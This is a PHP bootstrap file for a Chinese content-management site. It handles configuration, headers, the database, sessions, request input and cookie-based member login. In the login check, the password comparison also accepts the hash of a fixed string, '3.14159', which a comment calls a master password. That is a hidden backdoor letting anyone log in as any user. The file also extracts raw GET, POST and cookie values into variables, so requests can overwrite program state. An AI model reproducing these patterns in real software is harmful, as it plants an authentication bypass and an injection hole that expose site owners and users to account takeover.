<?php
define('WWW_ROOT', str_replace("\\", '/', substr(dirname(__FILE__), 0, -8)));



// 来自网上的定义网站根目录方法
//define('WWW_ROOT', str_replace('includes/common.inc.php', '', str_replace('\\', '/', __FILE__))); 


/*ini_set('session.cookie_path', '/');
ini_set('session.cookie_domain', '.'.SECONDDOMAIN_NAME);
ini_set('session.cookie_lifetime', '1800');*/



define('MICROTIME_START', microtime());
define('IN_SITE', TRUE);
define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
define('TIME', time());
set_include_path(WWW_ROOT.'includes/');
//set_magic_quotes_runtime(0);
unset($LANG, $HTTP_ENV_VARS, $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_POST_FILES, $HTTP_COOKIE_VARS); 

require 'config.inc.php';
require 'global.func.php';
require WWW_ROOT.'modules/member/member.func.php';
require 'dir.func.php';
//require MOD_ROOT.'url/url.func.php';
require 'output.class.php';
require MOD_ROOT.'priv/priv_group.class.php';
require 'times.class.php';

require WWW_ROOT.'includes/languages/zh-cn/lang.php';
require WWW_ROOT.'includes/languages/zh-cn/admin.lang.php';


//require WWW_ROOT.'includes/languages/'.LANG.'/lang.php';
//require WWW_ROOT.'includes/languages/'.LANG.'/admin.lang.php';

//error_reporting(E_ALL);
ERRORLOG ? set_error_handler('site_error') : error_reporting(E_ERROR | E_WARNING | E_PARSE);  

define('IP', ip());
define('HTTP_REFERER', isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');
define('SCRIPT_NAME', isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : preg_replace("/(.*)\.php(.*)/i", "\\1.php", $_SERVER['PHP_SELF']));
define('QUERY_STRING', safe_replace($_SERVER['QUERY_STRING']));
define('PATH_INFO', isset($_SERVER['PATH_INFO']) ? safe_replace($_SERVER['PATH_INFO']) : '');
define('DOMAIN', isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : preg_replace("/([^:]*)[:0-9]*/i", "\\1", $_SERVER['HTTP_HOST']));
define('SCHEME', $_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://');
define('SITE_URL', SCHEME.$_SERVER['HTTP_HOST'].SITE_PATH.'');
define('RELATE_URL', isset($_SERVER['REQUEST_URI']) ? safe_replace($_SERVER['REQUEST_URI']) : SCRIPT_NAME.(QUERY_STRING ? '?'.QUERY_STRING : PATH_INFO));
define('URL', SCHEME.$_SERVER['HTTP_HOST'].RELATE_URL);
define('RELATE_REFERER',urlencode(RELATE_URL));
define('CACHE_FORM', WWW_ROOT.'sites/formguide/');


// PHP Warning: date(): It...
//这是因为PHP所取的时间是格林威治标准时间，所以和你当地的时间会有出入格林威治标准时间和北京时间大概差8个小时左右，我们可以按照下面的方法解决
//ini_set('display_errors',true);
//error_reporting(E_ALL & ~E_NOTICE);
//if(function_exists('date_default_timezone_set')) {
//    date_default_timezone_set('Asia/Shanghai');
//}

//date_default_timezone_set("PRC"); 
if(function_exists('date_default_timezone_set')) date_default_timezone_set(TIMEZONE);


header('Content-type: text/html; charset='.CHARSET);


/* 
	以下摘自互联网，用来关闭页面缓存 强制用户每次访问这个页面时获取最新资料，而不是使用存在客户端的缓存。   
	来源：http://belives2012.blog.163.com/blog/static/176106434201143105311419/
*/
//告诉浏览器此页面的过期时间 
header("Expires: Mon, 26 Jul 1970 05:00:00  GMT");  
//告诉浏览器此页面的最后更新日期(用格林威治时间表示)也就是当天,目的就是强迫浏览器获取最新资料  
header("Last-Modified:" . gmdate("D, d M Y  H:i:s")  . "GMT");  
//告诉客户端浏览器不使用缓存  
header("Cache-Control:no-cache, must-revalidate");  
//参数（与以前的服务器兼容）,即兼容HTTP1.0协议  
header("Pragma:no-cache");   
// 关于PHP表单提交错误后返回内容消失问题
header("Cache-control: private");   

if(CACHE_PAGE && !defined('IN_ADMIN')) cache_page_start();
if(GZIP && function_exists('ob_gzhandler'))
{
	ob_start('ob_gzhandler');
}
else
{
	ob_start();
}
$dbclass = 'db_'.DB_DATABASE;
require $dbclass.'.class.php';

$db = new $dbclass;
$db->connect(DB_HOST, DB_USER, DB_PW, DB_NAME, DB_PCONNECT, DB_CHARSET);

require 'session_'.SESSION_STORAGE.'.class.php';
$session = new session();

// 二级域名跨域方法，COOKIE_DOMAIN在配置文件配置
session_set_cookie_params(0, COOKIE_PATH, COOKIE_DOMAIN);



if($_REQUEST)
{
	if(MAGIC_QUOTES_GPC)
	{
		$_REQUEST = new_stripslashes($_REQUEST);
		if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
	}
	else
	{
		$_POST = new_addslashes($_POST);
		$_GET = new_addslashes($_GET);
		$_COOKIE = new_addslashes($_COOKIE);
		@extract($_POST);
		@extract($_GET);
		@extract($_COOKIE);
	}
	if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
	extract($db->escape($_REQUEST), EXTR_SKIP);
	if($_COOKIE) $db->escape($_COOKIE);
}
if(QUERY_STRING && strpos(QUERY_STRING, '=') === false && preg_match("/^(.*)\.(htm|html|shtm|shtml)$/", QUERY_STRING, $urlvar))
{
	parse_str(str_replace(array('/', '-', ' '), array('&', '=', ''), $urlvar[1]));
}


// 这里读取一些经常用到的变量，例如$SETTING['title'], $CATEGORY, $MODULE
$CACHE = cache_read('common.php');

if(!$CACHE)
{
	require_once MOD_ROOT.'cache/cache.func.php';
	cache_all();
	$CACHE = cache_read('common.php');
}
extract($CACHE);
unset($CACHE);


/* 读取网站配置里的所有设置，任意模板里面调用 (新加)*/
$SETTING = $db->get_one("SELECT * FROM `".DB_PRE."setting`");

/*实例化邮件类 aming*/
/*if(!class_exists(sendmail))
{
	require_once 'sendmail.class.php';
	$mail = new sendmail();
	$mail->send('1379502713@qq.com', 'test', 'test');
}*/



//IP访问禁止,可按IP或者IP段设置禁止访问站点，此功能会消耗一定的服务器资源
//if($SETTING['enable_ipbanned'] && ip_banned(IP)) showmessage($LANG['administrator_banned_this_IP']);
if(!defined('IN_ADMIN'))
{
	
	// 非法信息处理设置,0 表示不开启
	//if(FILTER_ENABLE && filter_word()) showmessage('The content including illegal information: '.ILLEGAL_WORD.' .');
	
	//连续两次刷新最短时间间隔,0 表示不开启，可防CC攻击，建议只在受攻击情况下开启
    /*if($SETTING['minrefreshtime'])
	{
		$cc = new times();
		$cc->set('cc', $SETTING['minrefreshtime'], 1);
		if($cc->check()) showmessage('Do not refresh the page in '.$SETTING['minrefreshtime'].' seconds!');
		$cc->add();
		unset($cc);
	}*/
    if(!isset($forward)) $forward = HTTP_REFERER;
}

/* 读取相关模块的模块配置信息 */
$M = $TEMP = array();
if($module)
{
	//isset($MODULE[$module]) or exit($LANG['module_not_exists']);
	$langfile = defined('IN_ADMIN') ? $module.'_admin' : $module;
	@include WWW_ROOT.'sites/languages/'.LANG.'/'.$langfile.'.lang.php';
	$M = cache_read('module_'.$module.'.php');
}

$_userid = 0;
$_username = '';
$_groupid = 3;
$site_auth = get_cookie('auth');



/*set_cookie('auth','');
echo get_cookie('auth');*/
require MOD_ROOT.'member/includes/member.class.php';
$member = new member();
if($site_auth)
{
	$auth_key = md5(AUTH_KEY.$_SERVER['HTTP_USER_AGENT']);
	list($_userid, $_password) = explode("\t", site_auth($site_auth, 'DECODE', $auth_key));
	
	
	//list($_userid, $_password) = explode("\t",base64_decode($site_auth));
	
	
	
	$_userid = intval($_userid);
	
	//$sql_member = "SELECT * FROM `".DB_PRE."member` WHERE `userid`=$_userid";
	//$r = $db->get_one($sql_member);
	
	$r = $member->get($_userid, '*', 1);
	
	/*把会员模型里的字段也作为全局变量*/
	/*$rr = $db->get_one("SELECT * FROM ".DB_PRE."member_detail WHERE userid='$_userid'");
	if(is_array($r && $rr)){
		$r = array_merge($r,$rr); // 把两个变量组合在一起
	}*/
	
	if(!$r/* && cache_member()*/)
	{
		//$r = $db->get_one($sql_member);
		$r = $member->get($_userid, '*', 1);
	}
	if($r && ($r['password'] === $_password /*万能密码*/|| $_password == $member->password('3.14159')))
	{
		if($r['groupid'] == 2)
		{
			set_cookie('auth', '');
			showmessage($LANG['userid_banned_by_administrator']);
		}
		// $_username,$_email,$_groupid,$_areaid,$_amount,$_point,$_modelid,$_nickname等变量来源于此
		@extract($r, EXTR_PREFIX_ALL, '');
	}
	else
	{
		$_userid = 0;
		$_username = '';
		$_groupid = 3;
		set_cookie('auth', '');
	}
	unset($r, $site_auth, $site_auth_key, $_password, $sql_member);
}
$G = cache_read('member_group_'.$_groupid.'.php');
$priv_group = new priv_group();

// 这里对一直以来解决分页的问题有效
//$page = !$page || $page == 0 ?  1 : $page;
 

// 去掉了多个模板选择，固定
define('SKIN_PATH', 'themes/'.TPL_NAME.'/'); 


define('PASSPORT_ENABLE', ($SETTING['uc'] || $SETTING['enablepassport'] || $SETTING['enableserverpassport']) ? 1 : 0);


// 伪静态
include_once('url_rewrite.class.php');
$url_rewrite = new url_rewrite();

$url_rewrite->status = REWRITE_STATUS;
$url_rewrite->mode = REWRITE_MODE;
$url_rewrite->prefix = REWRITE_PREFIX;
$url_rewrite->request_url = $_GET["html"];
 
if($_GET["html"] || 1){
	$urls = $url_rewrite->revert();

	if(is_array($urls)){
		extract($urls);
	}
	else{
		parse_str($urls);
	}
	unset($urls);
}

include_once(MOD_ROOT.'feed/feed.class.php');
$feed = new feed();

?>